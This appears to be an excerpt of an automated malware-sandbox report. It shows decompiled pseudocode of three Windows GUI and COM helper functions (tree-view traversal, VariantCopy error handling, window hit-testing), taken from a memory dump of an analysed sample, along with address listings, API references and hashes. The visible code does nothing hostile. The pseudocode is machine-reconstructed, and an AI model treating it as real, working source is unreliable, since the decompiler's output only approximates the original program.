                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00462033
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00462069
                                                                                                                                                                            0x0046206d
                                                                                                                                                                            0x0046206f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00462075
                                                                                                                                                                            0x00462075
                                                                                                                                                                            0x0046207a
                                                                                                                                                                            0x004620b6
                                                                                                                                                                            0x004620bb
                                                                                                                                                                            0x004620c1
                                                                                                                                                                            0x004620c8
                                                                                                                                                                            0x004620e0
                                                                                                                                                                            0x004620e0
                                                                                                                                                                            0x004620e6
                                                                                                                                                                            0x004620ec
                                                                                                                                                                            0x004620ee
                                                                                                                                                                            0x004620f4
                                                                                                                                                                            0x004620f8
                                                                                                                                                                            0x004620fe
                                                                                                                                                                            0x004620ff
                                                                                                                                                                            0x00462100
                                                                                                                                                                            0x0046210c
                                                                                                                                                                            0x0046210d
                                                                                                                                                                            0x0046210e
                                                                                                                                                                            0x00462114
                                                                                                                                                                            0x00462114
                                                                                                                                                                            0x004620f8
                                                                                                                                                                            0x004620ee
                                                                                                                                                                            0x0046207c
                                                                                                                                                                            0x0046207c
                                                                                                                                                                            0x00462082
                                                                                                                                                                            0x00462084
                                                                                                                                                                            0x00462086
                                                                                                                                                                            0x0046208a
                                                                                                                                                                            0x0046208c
                                                                                                                                                                            0x0046208d
                                                                                                                                                                            0x0046208e
                                                                                                                                                                            0x0046209a
                                                                                                                                                                            0x0046209b
                                                                                                                                                                            0x0046209c
                                                                                                                                                                            0x004620a2
                                                                                                                                                                            0x004620a2
                                                                                                                                                                            0x0046208a
                                                                                                                                                                            0x004620ab
                                                                                                                                                                            0x004620ab
                                                                                                                                                                            0x0046207a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00462131
                                                                                                                                                                            0x00462133
                                                                                                                                                                            0x00462135
                                                                                                                                                                            0x00462136
                                                                                                                                                                            0x0046213c
                                                                                                                                                                            0x00462141
                                                                                                                                                                            0x0046214f
                                                                                                                                                                            0x0046214f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046216e
                                                                                                                                                                            0x00462170
                                                                                                                                                                            0x00462174
                                                                                                                                                                            0x00462175
                                                                                                                                                                            0x00462176
                                                                                                                                                                            0x00462177
                                                                                                                                                                            0x00462178
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00462155
                                                                                                                                                                            0x00462155
                                                                                                                                                                            0x0046215a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046215c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00462162
                                                                                                                                                                            0x00462163
                                                                                                                                                                            0x00462164
                                                                                                                                                                            0x00462169
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046211f
                                                                                                                                                                            0x00462129
                                                                                                                                                                            0x00462038
                                                                                                                                                                            0x00462038
                                                                                                                                                                            0x00462044
                                                                                                                                                                            0x00462045
                                                                                                                                                                            0x00462046
                                                                                                                                                                            0x00462047
                                                                                                                                                                            0x00462048
                                                                                                                                                                            0x00462179
                                                                                                                                                                            0x0046217e
                                                                                                                                                                            0x00462183
                                                                                                                                                                            0x00462183
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046202c
                                                                                                                                                                            0x00462188
                                                                                                                                                                            0x00462197
                                                                                                                                                                            0x0046219d
                                                                                                                                                                            0x004621a9
                                                                                                                                                                            0x004621a9
                                                                                                                                                                            0x004621b9
                                                                                                                                                                            0x00461fe2
                                                                                                                                                                            0x00461feb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461feb
                                                                                                                                                                            0x00461fe0
                                                                                                                                                                            0x00461f51
                                                                                                                                                                            0x00461f51
                                                                                                                                                                            0x00461f51

                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 789b5fd3fb57cd1fdd1943e69ab52484ae89d1411cf2d9ff0716a14a2cf4af02
                                                                                                                                                                            • Instruction ID: bea81a4e29fd63c59bfadab5d98c0db62be6adcbe4d804fc8d794e44fc363b5a
                                                                                                                                                                            • Opcode Fuzzy Hash: 789b5fd3fb57cd1fdd1943e69ab52484ae89d1411cf2d9ff0716a14a2cf4af02
                                                                                                                                                                            • Instruction Fuzzy Hash: 6671BD70208701BBD724CA15C984FABB7E8EB8A744F14490EF58597391E7B8AC45CB6B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00468F1E Relevance: 6.1, APIs: 4, Instructions: 144windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 96%
                                                                                                                                                                            			E00468F1E(struct HWND__** __ecx, void* __eflags, void* __fp0, long _a4, intOrPtr _a8, intOrPtr* _a12, char _a16, intOrPtr _a20) {
				char _v136;
				long _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				char _v156;
				char _v160;
				char _v172;
				char _v176;
				char _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t37;
				long _t43;
				char _t44;
				long _t60;
				struct HWND__** _t76;
				intOrPtr* _t102;
				long _t103;
				void* _t104;
				void* _t115;

				_t115 = __fp0;
				_t104 =  &_v176;
				_t103 = _a4;
				_t102 = _a12;
				_t76 = __ecx;
				_v156 =  *_t102;
				_t37 =  *((intOrPtr*)(_t102 + 0xc));
				 *_t37 =  *_t37 + 1;
				_v152 =  *((intOrPtr*)(_t102 + 4));
				_a20 = 0;
				_v148 =  *((intOrPtr*)(_t102 + 8));
				_v144 = _t37;
				E0040C060( &_v172, __eflags);
				if(_t103 == 0) {
					L11:
					E00402620( &_v172);
					E00402620( &_v156);
					return 0;
				} else {
					do {
						_t43 = SendMessageW( *_t76, 0x110a, 4, _t103);
						_v140 = _t43;
						if(_t43 == 0) {
							L9:
							if(_t103 == _a8) {
								_t44 = E00437BFD(_t102);
								__eflags = _t44;
								if(_t44 == 0) {
									E0040D330(_t102, _t76, "|", _t115);
								}
								__eflags = _a16;
								if(_a16 == 0) {
									_push( &_v172);
									E004610CB(_t76, _t103);
									E0040C140(_t102, _t115,  &_v184);
								} else {
									E00413308(_a20,  &_v136, 0xa);
									E00403470(_t102, _t76, _t103, _t115, 0x23);
									E0040D330(_t102, _t76,  &_v140, _t115);
								}
								goto L17;
							} else {
								goto L10;
							}
						} else {
							if(E00437BFD(_t102) == 0) {
								E0040D330(_t102, _t76, "|", _t115);
							}
							_t110 = _a16;
							if(_a16 == 0) {
								_push( &_v172);
								E004610CB(_t76, _t103);
								E0040C140(_t102, _t115,  &_v184);
							} else {
								E00413308(_a20,  &_v136, 0xa);
								_t104 = _t104 + 0xc;
								E00403470(_t102, _t76, _t103, _t115, 0x23);
								E0040D330(_t102, _t76,  &_v140, _t115);
							}
							if(E00468F1E(_t76, _t110, _t115, _v144, _a4, _t102, _a12, 0) != 0) {
								L17:
								E00402620( &_v176);
								E00402620( &_v160);
								return 1;
							} else {
								E0040DF50(_t102,  &_v160);
								goto L9;
							}
						}
						goto L18;
						L10:
						_t60 = SendMessageW( *_t76, 0x110a, 1, _t103);
						_a20 = _a20 + 1;
						_t103 = _t60;
					} while (_t103 != 0);
					goto L11;
				}
				L18:
			}


























                                                                                                                                                                            0x00468f1e
                                                                                                                                                                            0x00468f1e
                                                                                                                                                                            0x00468f26
                                                                                                                                                                            0x00468f2e
                                                                                                                                                                            0x00468f3a
                                                                                                                                                                            0x00468f3f
                                                                                                                                                                            0x00468f43
                                                                                                                                                                            0x00468f46
                                                                                                                                                                            0x00468f48
                                                                                                                                                                            0x00468f51
                                                                                                                                                                            0x00468f5c
                                                                                                                                                                            0x00468f60
                                                                                                                                                                            0x00468f64
                                                                                                                                                                            0x00468f6b
                                                                                                                                                                            0x0046904f
                                                                                                                                                                            0x00469053
                                                                                                                                                                            0x0046905c
                                                                                                                                                                            0x0046906d
                                                                                                                                                                            0x00468f71
                                                                                                                                                                            0x00468f71
                                                                                                                                                                            0x00468f7c
                                                                                                                                                                            0x00468f82
                                                                                                                                                                            0x00468f88
                                                                                                                                                                            0x00469024
                                                                                                                                                                            0x0046902b
                                                                                                                                                                            0x00469071
                                                                                                                                                                            0x00469076
                                                                                                                                                                            0x00469078
                                                                                                                                                                            0x00469081
                                                                                                                                                                            0x00469081
                                                                                                                                                                            0x00469086
                                                                                                                                                                            0x0046908e
                                                                                                                                                                            0x004690c1
                                                                                                                                                                            0x004690c4
                                                                                                                                                                            0x004690d0
                                                                                                                                                                            0x00469090
                                                                                                                                                                            0x0046909f
                                                                                                                                                                            0x004690ab
                                                                                                                                                                            0x004690b6
                                                                                                                                                                            0x004690b6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00468f8e
                                                                                                                                                                            0x00468f96
                                                                                                                                                                            0x00468f9f
                                                                                                                                                                            0x00468f9f
                                                                                                                                                                            0x00468fa4
                                                                                                                                                                            0x00468fac
                                                                                                                                                                            0x00468fdf
                                                                                                                                                                            0x00468fe2
                                                                                                                                                                            0x00468fee
                                                                                                                                                                            0x00468fae
                                                                                                                                                                            0x00468fbd
                                                                                                                                                                            0x00468fc2
                                                                                                                                                                            0x00468fc9
                                                                                                                                                                            0x00468fd4
                                                                                                                                                                            0x00468fd4
                                                                                                                                                                            0x00469014
                                                                                                                                                                            0x004690d5
                                                                                                                                                                            0x004690d9
                                                                                                                                                                            0x004690e2
                                                                                                                                                                            0x004690f3
                                                                                                                                                                            0x0046901a
                                                                                                                                                                            0x0046901f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046901f
                                                                                                                                                                            0x00469014
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046902d
                                                                                                                                                                            0x00469038
                                                                                                                                                                            0x0046903e
                                                                                                                                                                            0x00469045
                                                                                                                                                                            0x00469047
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00468f71
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000110A,00000004,?), ref: 00468F7C
                                                                                                                                                                            • __itow.LIBCMT ref: 00468FBD
                                                                                                                                                                              • Part of subcall function 004610CB: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0046114D
                                                                                                                                                                            • SendMessageW.USER32(00000000,0000110A,00000001,?), ref: 00469038
                                                                                                                                                                            • __itow.LIBCMT ref: 0046909F
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$__itow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3379773720-0
                                                                                                                                                                            • Opcode ID: a977bd802357f3f1bc759af88c30e4756a5bf5131507665275d736075729b7ff
                                                                                                                                                                            • Instruction ID: 39d59264a472fa46efddd19580eed72c76205ba1b6163648321d1ef0332cefb4
                                                                                                                                                                            • Opcode Fuzzy Hash: a977bd802357f3f1bc759af88c30e4756a5bf5131507665275d736075729b7ff
                                                                                                                                                                            • Instruction Fuzzy Hash: D3417371604300ABD624EF55D941FAF77E8AF98708F00092EF98567281EB79AD09C76B
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004781AE Relevance: 6.1, APIs: 4, Instructions: 135COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 75%
                                                                                                                                                                            			E004781AE(void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t51;
				long _t52;
				signed int _t55;
				intOrPtr _t59;
				intOrPtr _t71;
				intOrPtr _t74;
				intOrPtr _t77;
				intOrPtr* _t78;
				signed int _t80;
				intOrPtr* _t84;
				intOrPtr _t91;
				signed short* _t100;
				signed int _t104;
				intOrPtr* _t105;
				void* _t106;
				void* _t107;
				void* _t115;

				_t115 = __fp0;
				_t80 =  *(_t106 + 0x38);
				_t105 =  *((intOrPtr*)(_t106 + 0x3c));
				_t78 = 0;
				_t100 =  *(_t106 + 0x48);
				 *((intOrPtr*)(_t106 + 0x10)) = 0;
				 *((intOrPtr*)(_t106 + 0x18)) = 1;
				 *((intOrPtr*)(_t106 + 0x1c)) = 0;
				_t99 = _t80;
				_t107 =  *0x4a7cc1 - _t78; // 0x0
				if(_t107 == 0) {
					L13:
					E004040E0( *((intOrPtr*)( *_t105 + 4)) + _t105, _t80, _t78);
					__eflags =  *((intOrPtr*)(_t106 + 0x54)) - _t78;
					if( *((intOrPtr*)(_t106 + 0x54)) == _t78) {
						goto L12;
					} else {
						E004092C0(_t99, _t106 + 0x10);
						return 1;
					}
				} else {
					_t51 =  *0x4a7cc4; // 0x0
					if(_t51 == 0) {
						goto L13;
					} else {
						 *((short*)(_t51 + 0x38)) = 3;
						 *(_t51 + 0x40) = _t80;
						 *((short*)(_t51 + 0x98)) = 3;
						_t52 = GetLastError();
						_t91 =  *0x4a7cc4; // 0x0
						 *(_t91 + 0xa0) = _t52;
						 *((short*)(_t91 + 0xa8)) = 3;
						_t81 =  *(_t105 + 0xf4);
						 *((intOrPtr*)(_t91 + 0xb0)) = E00437A4D( *(_t105 + 0xf4));
						if(_t100 != 0) {
							_t78 =  *0x482430;
							 *((short*)(_t106 + 0x20)) = 8;
							 *(_t106 + 0x30) = _t100[2];
							 *_t78(_t91 + 0x68, _t106 + 0x20);
							_t71 =  *0x4a7cc4; // 0x0
							 *(_t106 + 0x30) = _t100[4];
							 *_t78(_t71 + 0x58, _t106 + 0x20);
							_t74 =  *0x4a7cc4; // 0x0
							 *(_t106 + 0x30) = _t100[6];
							 *_t78(_t74 + 0x78, _t106 + 0x20);
							_t77 =  *0x4a7cc4; // 0x0
							 *((short*)(_t77 + 0x88)) = 3;
							 *(_t77 + 0x90) = _t100[8];
							 *((short*)(_t77 + 0xb8)) = 3;
							_t81 =  *_t100 & 0x0000ffff;
							if(_t81 == 0) {
								_t104 = _t100[0xe];
							} else {
								_t104 = _t81 & 0x0000ffff;
							}
							 *(_t77 + 0xc0) = _t104;
							if(_t104 != 0) {
								_t99 = _t104;
							}
						}
						_t55 =  *(_t106 + 0x50);
						_t112 = _t55;
						if(_t55 == 0) {
							_t99 = E0044AF5C(_t78, _t106 + 0x34, _t99);
							E0040E640(_t78, _t81, _t56, _t106 + 0x10, __eflags);
							E00402620(_t106 + 0x30);
						} else {
							_t99 = _t55;
							E0040E6D0(_t106 + 0x10, _t112);
						}
						_t59 =  *0x4a7cc4; // 0x0
						E00476A8A(_t115);
						_t84 =  *0x4a7cc4; // 0x0
						_t106 = _t106 + 8;
						 *((intOrPtr*)( *((intOrPtr*)( *_t84 + 0x20))))(_t106 + 0x14, _t59 + 0x48);
						E004040E0( *((intOrPtr*)( *_t105 + 4)) + _t105,  *(_t106 + 0x48), 0);
						L12:
						E004092C0(_t99, _t106 + 0x10);
						return 0;
					}
				}
			}























                                                                                                                                                                            0x004781ae
                                                                                                                                                                            0x004781b1
                                                                                                                                                                            0x004781b7
                                                                                                                                                                            0x004781bb
                                                                                                                                                                            0x004781be
                                                                                                                                                                            0x004781c3
                                                                                                                                                                            0x004781c7
                                                                                                                                                                            0x004781cf
                                                                                                                                                                            0x004781d3
                                                                                                                                                                            0x004781d5
                                                                                                                                                                            0x004781db
                                                                                                                                                                            0x00478346
                                                                                                                                                                            0x00478350
                                                                                                                                                                            0x00478355
                                                                                                                                                                            0x00478359
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047835b
                                                                                                                                                                            0x0047835f
                                                                                                                                                                            0x00478370
                                                                                                                                                                            0x00478370
                                                                                                                                                                            0x004781e1
                                                                                                                                                                            0x004781e1
                                                                                                                                                                            0x004781e8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004781ee
                                                                                                                                                                            0x004781f3
                                                                                                                                                                            0x004781f7
                                                                                                                                                                            0x004781fa
                                                                                                                                                                            0x00478201
                                                                                                                                                                            0x00478207
                                                                                                                                                                            0x0047820d
                                                                                                                                                                            0x00478218
                                                                                                                                                                            0x0047821f
                                                                                                                                                                            0x0047822b
                                                                                                                                                                            0x00478233
                                                                                                                                                                            0x0047823c
                                                                                                                                                                            0x00478247
                                                                                                                                                                            0x00478255
                                                                                                                                                                            0x00478259
                                                                                                                                                                            0x0047825b
                                                                                                                                                                            0x0047826c
                                                                                                                                                                            0x00478270
                                                                                                                                                                            0x00478272
                                                                                                                                                                            0x00478283
                                                                                                                                                                            0x00478287
                                                                                                                                                                            0x00478289
                                                                                                                                                                            0x00478293
                                                                                                                                                                            0x0047829d
                                                                                                                                                                            0x004782a3
                                                                                                                                                                            0x004782aa
                                                                                                                                                                            0x004782b0
                                                                                                                                                                            0x004782b7
                                                                                                                                                                            0x004782b2
                                                                                                                                                                            0x004782b2
                                                                                                                                                                            0x004782b2
                                                                                                                                                                            0x004782ba
                                                                                                                                                                            0x004782c2
                                                                                                                                                                            0x004782c4
                                                                                                                                                                            0x004782c4
                                                                                                                                                                            0x004782c2
                                                                                                                                                                            0x004782c6
                                                                                                                                                                            0x004782ca
                                                                                                                                                                            0x004782cc
                                                                                                                                                                            0x004782e6
                                                                                                                                                                            0x004782ec
                                                                                                                                                                            0x004782f5
                                                                                                                                                                            0x004782ce
                                                                                                                                                                            0x004782ce
                                                                                                                                                                            0x004782d4
                                                                                                                                                                            0x004782d4
                                                                                                                                                                            0x004782fa
                                                                                                                                                                            0x00478308
                                                                                                                                                                            0x0047830d
                                                                                                                                                                            0x00478318
                                                                                                                                                                            0x0047831b
                                                                                                                                                                            0x0047832c
                                                                                                                                                                            0x00478331
                                                                                                                                                                            0x00478335
                                                                                                                                                                            0x00478343
                                                                                                                                                                            0x00478343
                                                                                                                                                                            0x004781e8

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                            • VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                            • VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                            • VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CopyVariant$ErrorLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2286883814-0
                                                                                                                                                                            • Opcode ID: b83959a3d9adaf97d7338538a2dc96912ff920ad2de9dc32a9933265cc4ebbad
                                                                                                                                                                            • Instruction ID: 2d87100fc18953c9afe9b7e879878e48daa4ef19e0256d9a4550ae3fa38499cf
                                                                                                                                                                            • Opcode Fuzzy Hash: b83959a3d9adaf97d7338538a2dc96912ff920ad2de9dc32a9933265cc4ebbad
                                                                                                                                                                            • Instruction Fuzzy Hash: 5F517C751543409FC310DF69C880A9BBBE4FF88314F448A6EF9499B352DB39E909CB99
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00441CB4 Relevance: 6.1, APIs: 4, Instructions: 112windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 97%
                                                                                                                                                                            			E00441CB4(signed int __eax) {
				signed int _t36;
				intOrPtr _t38;
				signed int _t42;
				intOrPtr _t43;
				struct HWND__*** _t44;
				struct HWND__** _t45;
				signed int* _t49;
				intOrPtr _t51;
				intOrPtr _t54;
				signed int _t55;
				signed char _t57;
				intOrPtr _t60;
				signed int _t73;
				signed int _t77;
				intOrPtr _t81;
				void* _t82;
				void* _t85;
				void* _t95;

				_t36 = __eax | 0xffffffff;
				 *(_t82 + 0xc) = _t36;
				 *(_t82 + 0x10) = _t36;
				_t38 =  *0x4a8438; // 0x0
				ClientToScreen( *( *( *(_t38 +  *( *(_t82 + 0x1c)) * 4))), _t82 + 0x30);
				_t51 =  *0x4a843c; // 0x0
				_t77 = 0;
				if(_t51 <= 0) {
					L22:
					_t42 = MessageBeep(0) | 0xffffffff;
					goto L23;
				} else {
					do {
						_t54 =  *0x4a8438; // 0x0
						_t81 =  *((intOrPtr*)( *((intOrPtr*)(_t54 + _t77 * 4))));
						if(_t81 != 0) {
							_t73 = 3;
							_t85 =  *0x4a845c - _t73; // 0x2
							if(_t85 >= 0) {
								do {
									_t43 =  *0x4a844c; // 0x2f019d0
									_t44 =  *(_t43 + _t73 * 4);
									if( *_t44 == 0) {
										goto L14;
									} else {
										_t45 =  *_t44;
										if(_t45[1] !=  *((intOrPtr*)(_t81 + 4)) || (_t45[0x22] & 0x00000020) != 0) {
											goto L14;
										} else {
											_t57 = _t45[0x22];
											if(_t57 == 0xff || (_t57 & 0x000000ff) ==  *((intOrPtr*)(_t81 + 0x184))) {
												GetWindowRect( *_t45, _t82 + 0x18);
												_push( *((intOrPtr*)(_t82 + 0x34)));
												if(PtInRect(_t82 + 0x20,  *(_t82 + 0x30)) == 0) {
													goto L14;
												} else {
													_t49 =  *(_t82 + 0x2c);
													if( *_t49 != _t77) {
														 *(_t82 + 0x14) = _t77;
													}
													_t60 =  *0x4a844c; // 0x2f019d0
													if(( *( *((intOrPtr*)( *((intOrPtr*)(_t60 + _t73 * 4)))) + 0x8a) & 0x00000008) != 0) {
														if( *_t49 != _t77) {
															 *_t49 =  *(_t82 + 0x14);
														}
														return _t73;
													} else {
														if( *(_t82 + 0x10) < 0) {
															 *(_t82 + 0x10) = _t73;
														}
														goto L14;
													}
												}
											} else {
												goto L14;
											}
										}
									}
									goto L24;
									L14:
									_t73 = _t73 + 1;
									_t95 = _t73 -  *0x4a845c; // 0x2
								} while (_t95 <= 0);
							}
						}
						goto L15;
						L15:
						_t77 = _t77 + 1;
					} while (_t77 < _t51);
					_t42 =  *(_t82 + 0x10);
					if(_t42 < 0) {
						goto L22;
					} else {
						_t55 =  *(_t82 + 0x14);
						if(_t55 < 0) {
							L23:
							return _t42;
						} else {
							 *( *(_t82 + 0x2c)) = _t55;
							return _t42;
						}
					}
				}
				L24:
			}





















                                                                                                                                                                            0x00441cbf
                                                                                                                                                                            0x00441cc3
                                                                                                                                                                            0x00441cc7
                                                                                                                                                                            0x00441cd1
                                                                                                                                                                            0x00441cde
                                                                                                                                                                            0x00441ce4
                                                                                                                                                                            0x00441cea
                                                                                                                                                                            0x00441cee
                                                                                                                                                                            0x00441df0
                                                                                                                                                                            0x00441df8
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441cf4
                                                                                                                                                                            0x00441cf4
                                                                                                                                                                            0x00441cf4
                                                                                                                                                                            0x00441cfd
                                                                                                                                                                            0x00441d01
                                                                                                                                                                            0x00441d07
                                                                                                                                                                            0x00441d0c
                                                                                                                                                                            0x00441d12
                                                                                                                                                                            0x00441d18
                                                                                                                                                                            0x00441d18
                                                                                                                                                                            0x00441d1d
                                                                                                                                                                            0x00441d23
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441d29
                                                                                                                                                                            0x00441d29
                                                                                                                                                                            0x00441d31
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441d3c
                                                                                                                                                                            0x00441d3c
                                                                                                                                                                            0x00441d45
                                                                                                                                                                            0x00441d5a
                                                                                                                                                                            0x00441d68
                                                                                                                                                                            0x00441d77
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441d79
                                                                                                                                                                            0x00441d79
                                                                                                                                                                            0x00441d7f
                                                                                                                                                                            0x00441d81
                                                                                                                                                                            0x00441d81
                                                                                                                                                                            0x00441d85
                                                                                                                                                                            0x00441d97
                                                                                                                                                                            0x00441ddc
                                                                                                                                                                            0x00441de2
                                                                                                                                                                            0x00441de2
                                                                                                                                                                            0x00441ded
                                                                                                                                                                            0x00441d99
                                                                                                                                                                            0x00441d9e
                                                                                                                                                                            0x00441da0
                                                                                                                                                                            0x00441da0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441d9e
                                                                                                                                                                            0x00441d97
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441d45
                                                                                                                                                                            0x00441d31
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441da4
                                                                                                                                                                            0x00441da4
                                                                                                                                                                            0x00441da5
                                                                                                                                                                            0x00441da5
                                                                                                                                                                            0x00441d18
                                                                                                                                                                            0x00441d12
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441db1
                                                                                                                                                                            0x00441db1
                                                                                                                                                                            0x00441db2
                                                                                                                                                                            0x00441dba
                                                                                                                                                                            0x00441dc0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00441dc2
                                                                                                                                                                            0x00441dc2
                                                                                                                                                                            0x00441dc8
                                                                                                                                                                            0x00441dfb
                                                                                                                                                                            0x00441e02
                                                                                                                                                                            0x00441dca
                                                                                                                                                                            0x00441dce
                                                                                                                                                                            0x00441dd7
                                                                                                                                                                            0x00441dd7
                                                                                                                                                                            0x00441dc8
                                                                                                                                                                            0x00441dc0
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                                                                                                            • PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                                                                                                            • MessageBeep.USER32(00000000), ref: 00441DF2
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
